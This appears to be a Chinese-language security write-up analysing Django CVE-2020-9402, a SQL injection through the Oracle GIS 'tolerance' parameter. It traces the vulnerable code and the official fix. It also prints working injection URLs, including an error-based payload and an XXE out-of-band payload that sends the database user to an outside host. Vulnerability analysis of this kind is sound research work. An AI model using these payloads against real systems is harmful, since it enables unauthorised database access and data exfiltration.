Django CVE-2020-9402 Geo SQL注入分析

0x00前言

又迎来Django一个sql注入的命令执行,因此来分析分析。

CVE-2020-9402: Potential SQL injection via tolerance parameter in GIS functions and aggregates on Oracle

GIS functions and aggregates on Oracle were subject to SQL injection, using a suitably crafted tolerance.

 

0x01 GIS

根据官网的修复https://github.com/django/django/commit/6695d29b1c1ce979725816295a26ecc64ae0e927#diff-229e38ececbfc591f7a5e595bf5707c4,可以看到问题出在GIS的查询上面

 

官方只修复了这两个位置,可以发现基本上是对于tolerance参数进行额外的过滤。那首先来了解一下GIS查询。

GIS查询API是一个地理位置的查询API,提供用户存储精确GPS的位置的数据模块,属于一个空间数据库,我们可以通过如下的经纬度信息

pnt = GEOSGeometry('POINT(-96.876369 29.905320)', srid=4326)

>>>SRID=4326;POINT (-96.876369 29.90532)

来获得一个具体的定位信息,通过如下的模块来构建一个基本的地理信息存储

from django.contrib.gis.db import models
class Names(models.Model):
    name = models.CharField(max_length=128)

    def __str__(self):
        return self.name

class Interstate(Names):
    path = models.LineStringField()

后台存储的时候发出path的信息为json数据,例如

{"type":"LineString","coordinates":[[-8167.236601807093,-3286.248045708844],[-7896.285624495958,-3324.9553281818644],[1083.8039092445451,-654.1528375435246]]}

我们就获得了一个基本的地理位置数据,同理,通过构造一个聚合的查询方法

def vuln(request):
    q = request.GET.get('q')
    qs=Interstate.objects.annotate(
            d=Distance(
                Point(-0.0733675346842369, -0.0295208671625432, srid=4326),
                Point(0.009735976166628611, -0.00587635491086091, srid=4326),
                tolerance = q,
            ),
        ).filter(d=D(m=1)).values('name')

srid为空间参考的投影设置,默认值为4326。其中tolerance是对于oracle特殊存在的一个键值,其作用是基本你的容错率,详细的信息可以参考oracle官方文档。对应的查询语句为

  SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) =  1.0 FETCH FIRST 21 ROWS ONLY;

 

0x02代码分析

首先从传入一个url

http://127.0.0.1:8000/vuln/?q=20) = 1 OR 1=1 OR (1%2B1

annotate聚合函数开始跟进,同普通的model函数查询一样,gis查询虽然拥有着单独的model模块,但依旧还是进入普通model中进行过滤和查询。从gis的model文件夹中的__init__.py文件中看

主要的查询依然调用的是django最基本的db方法,而其中单独定义了function方法等一些对地理位置插叙独特的方法。程序运行到/django/db/models/manager.py文件中的_get_queryset_methods后,获取到tolerant参数之后便直接进入到gis模块中进行查询

继而进入到django/contrib/gis/measure.py文件中的MeasureBase类中进行方法调用,那么后面的方法分析可以跳过,因此直接来到漏洞代码段。先来看gis API中的functions函数,在as_oracle方法这一段

def as_oracle(self, compiler, connection, **extra_context):
    tol = self.extra.get('tolerance', self.tolerance)
    return self.as_sql(
        compiler, connection,
        template="%%(function)s(%%(expressions)s, %s)" % tol,
        **extra_context
    )

tolerance 从self.extra.get导入,该方法会搜索全局变量的值,如果该值不存在,则直接设置为0.05,并且将其直接传入到新的变量中。之后则不对tol进行任何处理直接拼接到template字符串中并且传入as_sql方法。那么官方对于as_sql的文档是,此方法需要一个SQLCompiler对象,位于django/db/models/sql/compiler.py文件中。而我们只需要知道在该对象中有一个compile()方法,该方法可以返回一个包含SQL字符串的元祖,而SQLComiler对象中的query变量则是存储直接进行SQL查询语句的SQL命令。从而两个Point分别进入compile方法中进行拼接

不知道为什么,用pycharm在as_oracle下断点的时候,第一次到达SQLCompiler的时候,pycharm不会在as_oracle函数中停下来,而是在第二次查询的时候才会停,但是经过测试确实是在进入SQLCompiler之前调用过as_orcle函数,可能是pycharm没有正确识别重载函数吧。之后template构造模版也因此进入到expression.py中的as_sql函数中进行字符串构造

因此最后进入oracle的命令语句是

 SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1  OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;

 

带入数据库中查询

官方修复的方法就是加入Value函数,判断传入的值是否为数字,否的话直接报错推出。那么第二个注入点就是Union了,建立Model

class City(Names):
    point = models.PointField()  # 点模块

编辑传入的参数分别为

{"type":"Point","coordinates":[13250.226757682816,68815.69380603009]}

view中设置查询

from django.contrib.gis.db.models import Union
def vuln2(request):
    q = request.GET.get('q')
    res = City.objects.aggregate(
            Union('point', tolerance=q),
    )
    return HttpResponse(res)

输入url

http://127.0.0.1:8000/vuln2?q=0.05)))%2C%20(((1

首先看结果,得到的SQL查询语句为

SELECT SDO_UTIL.TO_WKBGEOMETRY(SDO_AGGR_UNION(SDOAGGRTYPE("APP_CITY"."POINT",0.05))), (((1))) AS "POINT__UNION" FROM "APP_CITY";

该aggregate查询方法是GIS查询特定的一种查询方法,为的是与地理查询的语句做适配,用法跟原模块的方法类似。因此跟进GIS模块中的聚合查询方法,位于django/contrib/gis/db/models/aggregates.py文件内的as_oracle方法。

同样tolerance没有做任何检查直接传入了template模版语句中,原理与上面annotate查询过程一致。利用有大致两个方法

报错注入

q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v%24instance)) from dual) is null%20 OR (1%2B1

CVE-2014-6577

因为Django自2.0以后支持的oracle版本为12以上,因此可以尝试oracle XXE来进行SQL的注入。同时因为在SQL处理的过程中有三次利用%的模版跳转,因此需要在XML模版中的%增加为%%%%,payload为

q=20) = 1 OR (select%20extractvalue(xmltype('%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20%25%25%25%25%20remote%20SYSTEM%20%22http%3A%2F%2Fdocker.for.mac.host.internal%3A9000%2F'%7C%7C(SELECT%20user%20from%20dual)%7C%7C'%22%3E%20%25%25%25%25remote%3B%5D%3E')%2C'%2Fl')%20from%20dual)%20is%20not%20null OR (1%2B1

命令执的话因为是docker起的oracle所以没有设置JAVA的环境,暂时也不能判定有没有,以后再研究看看。Point如何查询文档上也没有详说,自带的编辑后台虽然是有位置,但也是黑乎乎一片,应该连上API就行了,总之特别难查

 

0xFF Reference